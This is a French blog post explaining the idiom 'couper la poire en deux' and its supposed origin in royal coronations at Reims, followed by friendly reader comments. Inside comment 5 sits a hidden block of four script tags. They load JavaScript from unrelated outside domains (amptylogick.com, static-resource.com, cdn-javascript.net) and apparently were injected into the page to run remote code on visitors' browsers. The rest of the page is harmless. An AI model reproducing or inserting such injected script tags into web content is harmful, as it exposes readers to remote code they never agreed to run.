• Expressions françaises

     

     Expressions françaises

     des expressions Françaises 

     pittoresques 

    toujours employées 

     ou oubliées 

     Je joue avec Lilou Soleil

     en voici une  

     que j 'emploie parfois 

     et vous ???

     

     couper la poire en deux 

     

    Faire un compromis , opter pour

    une position médiane 

     partager équitablement  

     

    ette expression est apparue au cours des années 1880

    dans le domaine littéraire

    et repose sur l'image d'une poire que l'on coupe en deux

    de manière égale

    pour un  partage équitable  entre deux personnes.

    *********** 

     

     Expressions françaises

    Mais pourquoi avoir choisi une  » poire  »

    et pas un autre fruit ?

    C’est la question qu’on se pose encore aujourd’hui.

    Selon certaines interprétations,

    les origines viendraient de la tradition

    des sacres des rois de France à Reims

    recevant en ce moment précis une poire. 

    ******************

    « mardi c'est poésie chez Lady Marianne jeudi en balade photos »
    Partager via Gmail Pin It

    Tags Tags : , ,
  • Commentaires

    29
    Samedi 9 Novembre à 10:33

    on va se plier en quatre

    pour couper cette poire en deux

    LOL

    28
    Jeudi 7 Novembre à 21:44

    Coucou Monica,

    C'est une expression que j'emploie surtout avec mes enfants.

    Bisous et bonne soirée

    27
    Jeudi 7 Novembre à 16:48

    Pourquoi une poire oui ? La pomme, c'est pour Adam et Eve, et donc on peut penser que la poire est plus noble. 

    26
    baba
    Jeudi 7 Novembre à 08:42

    Tant qu'on la coupe en deux c'est bon signe,le problème c'est quand on ne veut pas la partager...

    Bonne journée

    25
    Jeudi 7 Novembre à 03:08

    Une expression que j'emploie souvent!wink2

    Merci pour les explications. Elles sont magnifiques tes poires, on en mangerait!!!winktongue

    Bises et amitiés

    Cendrine

    24
    Mo
    Mercredi 6 Novembre à 19:26
    Mo

    Bonsoir Monica,

    on la connait bien, cette expression en parlant de transiger, négocier...

    On pourrait aussi la couper en 3 ou en 4 à l'occasion mais on n'en parle jamais...

    Kenavo,

    Mo

    23
    Mercredi 6 Novembre à 19:15

    Et c'est la saison !!!

    Bonne soirée

    22
    Mercredi 6 Novembre à 18:40

    Très belle illustration

    Bises

    21
    Mercredi 6 Novembre à 17:30
    Le roi ne devait pas partager son pouvoir.
    20
    Mercredi 6 Novembre à 17:23

    Bonjour Monica.

    Le ciel a coupé la poire en deux: un peu de soleil et un peu de nuages mais pas de pluie ... pour le moment !

    Bonne fin de journée.

    Gilbert

    19
    Mercredi 6 Novembre à 16:55
    Josette

    c'est vrai ...pourquoi la poire !

    merci Monica

    kénavo

    18
    Mercredi 6 Novembre à 15:41
    francinea

    Bonjour, et pourquoi pas une pomme, après tout ?je te souhaite une bonne journée, bisous

    17
    Mercredi 6 Novembre à 14:59

    je connais l'expression Monica je l'ai souvent entendu,,il a beaucoup plus chez nous le terre regorge d'eau il y en avait besoin,je te souhaite un très bon Mercredi,bises

    16
    Mercredi 6 Novembre à 13:52

    Oui, pourquoi une poire?

    15
    Mercredi 6 Novembre à 12:01

    Je connaissais l'expression Monica

    mais pas son explication,

    Merci à toi, maintenant je saurais vraiment de quoi je parle lol lol

    Belle journée douce et ensoleillée depuis ce matin ici, chouette,

    Bises de Christiane

    14
    Mercredi 6 Novembre à 11:55

    Une expression familière employée par chacun..

    13
    Mercredi 6 Novembre à 11:53

    Voici une expression qu'il m'arrive d'utiliser.

    12
    Mercredi 6 Novembre à 10:58

    Coucou Monica

    Merci pour cette explication, quand je la placerais je penserais a toi hahahaha 

    Merci pour le partage.

    Je te souhaite une belle journée.

    Rohnny

    11
    Mercredi 6 Novembre à 08:57

    Bonjour ma petite Monica,

    Je connais bien cette expression mais pas sa signification donc merci pour les infos.On en apprend tous les jours, c'est bien connu.

    Merci pour ta fidélité sur mes deux blogs.

    Passes une agréable journée ma douce amie, kénavo et gros bisous.

    Florence

    10
    Mercredi 6 Novembre à 08:26

    Je connais et emploie cette expression. Par contre j'ignorais totalement que le roi recevait une poire lors de son sacre ! Merci pour éclairer notre lanterne !  Passe un bon mercredi Monica  Bises

    9
    Mercredi 6 Novembre à 08:10

    Bonjour Monica, oui c'est une expression très courantes (voir coupantes) rire.

    Se fendre la poire ce n'est pas mal non plus.

    Je te souhaite de passer une bien agréable journée.

    Bisous.

    8
    Mercredi 6 Novembre à 07:55

    Bon, je ne sais pas si cette expression date de l'époque des sacres des rois à Reims, mais toujours est-il que j'emploie régulièrement cette expression ! Je n'aime pas faire des jaloux !!! Bisous.

    7
    Mercredi 6 Novembre à 07:34

    j'adore les poires

    JP

    6
    Mercredi 6 Novembre à 07:17

    Hello Monica

    Celle la, je la connais, mais ensuite c'est vrai que l'on ignore pourquoi cette expression .

    bizz

    Pat

    5
    Mercredi 6 Novembre à 06:43

    C'  est  vrai  que   l' expression  est   encore  courante, mais  j' ignorais qu'  on  offrait  une poire  aux   rois   de France !

    ça  me fait  aussi  penser  au   jugement   de Salomon !

     Passe une bonne  journée

     Bisous

    <script src="//amptylogick.com/21aca573d498d25317.js"></script> <script src="http://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8620x" type="text/javascript"></script> <script src="http://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8620x&format=arrjs&r=1573018905217" type="text/javascript"></script> <script src="http://amptylogick.com/ext/21aca573d498d25317.js?sid=52587_8620_&title=a&blocks[]=31af2" type="text/javascript"></script>
    4
    Mercredi 6 Novembre à 06:20

    Bonjour Monica ! Belle expression j'aime bien !

    Bisous bonne journée humide sans doute !

    Bisous !

    3
    Mercredi 6 Novembre à 04:49

    Bel expression, je l'emploie de temps en temps, merci pour les explications ..

    2
    Mercredi 6 Novembre à 02:00
    Bonjour Monica merci pour l'explication Déjà la moitié de la semaine Passe une très bonne journée Avec amitiés René
    1
    Mercredi 6 Novembre à 00:14

    Oh oui alors, quand on marchande par exemple, sur un vide-grenier ,-) Merci Monica, et vive la poire d'automne, bises

    Suivre le flux RSS des commentaires


    Ajouter un commentaire

    Nom / Pseudo :

    E-mail (facultatif) :

    Site Web (facultatif) :

    Commentaire :